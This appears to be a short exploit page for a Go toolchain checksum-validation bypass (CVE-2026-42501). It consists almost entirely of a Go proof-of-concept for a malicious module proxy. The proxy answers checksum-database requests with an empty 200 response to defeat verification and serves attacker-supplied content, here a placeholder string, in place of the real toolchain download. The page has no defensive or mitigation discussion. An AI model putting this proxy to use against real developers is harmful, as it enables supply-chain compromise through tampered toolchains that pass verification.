CVE-2026-42501 Go工具链校验和验证绕过漏洞

// PoC Concept: Malicious Go Module Proxy to bypass sumdb validation package main import ( "fmt" "net/http" ) func main() { // Handle sumdb requests to bypass validation http.HandleFunc("/sumdb/", func(w http.ResponseWriter, r *http.Request) { // Return 200 OK with empty body to exploit the flaw // The go command interprets this as a successful lookup with no entry, // bypassing the validation check. w.WriteHeader(http.StatusOK) fmt.Fprint(w, "") }) // Handle toolchain download requests http.HandleFunc("/golang.org/toolchain/", func(w http.ResponseWriter, r *http.Request) { // Serve malicious content instead of real toolchain w.Header().Set("Content-Type", "application/octet-stream") fmt.Fprint(w, "MALICIOUS_GOTOOLCHAIN_BINARY") }) fmt.Println("Malicious proxy running on :8080") http.ListenAndServe(":8080", nil) }